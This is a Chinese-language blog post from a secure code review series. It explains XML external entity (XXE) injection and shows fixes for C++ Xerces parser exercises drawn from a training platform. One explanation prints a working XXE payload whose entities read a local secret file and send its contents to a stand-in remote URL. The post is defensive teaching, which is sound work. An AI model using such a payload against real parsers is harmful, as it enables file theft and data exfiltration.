iT邦幫忙

2024 iThome 鐵人賽

DAY 4
0
Security

你的程式真的安全嗎?從資安的角度做 code review系列 第 13

C - XML external entity injection (XML 外部實體 (XXE))

  • 分享至 

  • xImage
  •  

今天是快樂星期六~
下方程式碼片段全部都是擷取自 Secure Code Warrior 線上安全程式培訓平台,因為練習互動時的題目多半不會只有單一個檔案,可能涉及多個檔案、資料夾及多處地方修改,因此我的文章主要是針對最主要的區塊做修改及說明,若有不好理解的地方非常抱歉也還請見諒,也可以實際上去 Secure Code Warrior 玩玩看,搭配著互動,會更有感的學習哦~

XML external entity injection (XML 外部實體 (XXE))

  • 形成原因:XML外部實體攻擊是針對解析XML輸入的應用程式的攻擊。當包含外部實體引用的XML輸入由弱配置的XML解析器處理時,會發生此攻擊。
  • 後果:這種攻擊可能會導致機密資料的洩露、拒絕服務、伺服器端請求偽造、從解析器所在的機器的角度進行埠掃描以及應設整個內部網路架構。
  • 實例:有一個網站使用XML為其重設密碼功能提交資料,攻擊者截獲XML request並對請求作出變更
    https://ithelp.ithome.com.tw/upload/images/20240928/2016649012jaGiwN0S.png
    解析器解析XML並回傳/etc/password的檔案
  • 解決方法:
    • 針對使用者輸入套用應用程式範圍的篩選條件及清理
    • 考慮使用 GET method, POST method, Cookies, headers
    • 建立輸入白名單
    • 解析器應完全禁止XML外部實體或是DTDs

第1題

錯誤區塊

parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

解釋:
傳入的XML檔案可以有以下記錄,而不是引用本地XML:
<!DOCTYPE attack [ <!ENTITY xxe SYSTEM"file:///C:/secret.data"><!ENTITY sendSecureData SYSTEM "http://127.0.0.1:8880/senfInfo?&xxe;"> ]>
因此,可以將節點“name”的值重新定義如下:
<name>&sendSecureData;</name>
將儲存在本地檔案中的機密資料傳送到遠端電腦,預設情況下解析器啟用了選項,允許XXE注入。必須手動禁用它們以保護系統。

主要修正方法

把原本區塊

SAXHandlers handlers;
parser->setDocumentHandler( &handlers );
parser->setErrorHandler( &handlers );
parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

改成

parser->setValidationScheme( SAXParser::Val_Always );
parser->setDoNamespaces( true );
parser->setDoSchema( true );
parser->setHandleMultipleImports( true );
parser->setValidationSchemaFullChecking( true );

SAXHandlers handlers;
parser->setDocumentHandler( &handlers );
parser->setErrorHandler( &handlers );
parser->setDTDHandler( &handlers );
parser->setDisableDefaultEntityResolution(true);

parser->parse( xmlFile.c_str() );

int errorNumber = parser->getErrorCount();
if( errorNumber )
{
    return false;
}
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

解釋:
建議在XML解析期間考慮所有錯誤。 正確應用適當的XML模式是防止XML文件驗證和注入的一種方式。 例如,傳入的XML檔案必須具有對本地XML模式檔案的內部引用,該檔案受保護避免重寫。 但主要保護方法是手動禁用預設實體解析。

第2題

錯誤區塊

parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

解釋:跟第一題一樣

主要修正方法

錯誤區塊內加入這兩行

parser->setValidationScheme( SAXParser::Val_Always );
parser->setDisableDefaultEntityResolution(true);
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

解釋:跟第一題一樣,傳入的XML檔案必須具有對本地DTD檔案的內部引用,該檔案受保護避免重寫。保護系統的主要方法是禁用實體解析。

第3題

錯誤區塊

parser->setFeature( XMLUni::fgXercesLoadExternalDTD, true );
parser->setFeature( XMLUni::fgXercesSkipDTDValidation, false );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台

解釋:
使用配置薄弱的SAX解析器處理不受信任的XML檔案可能會導致XML外部實體(XXE)攻擊。這種攻擊可能會使用外部實體引用來存取系統上的機密資料和檔案。即使解析結果沒有返回給使用者,帶外資料檢索技術也可能允許攻擊者竊取敏感資料。

主要修正方法

true, false調整成相反


上一篇
C - sensitive data exposure (敏感性資料儲存:明文儲存資料)
下一篇
C - business logic (業務邏輯:邏輯錯誤)
系列文
你的程式真的安全嗎?從資安的角度做 code review18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言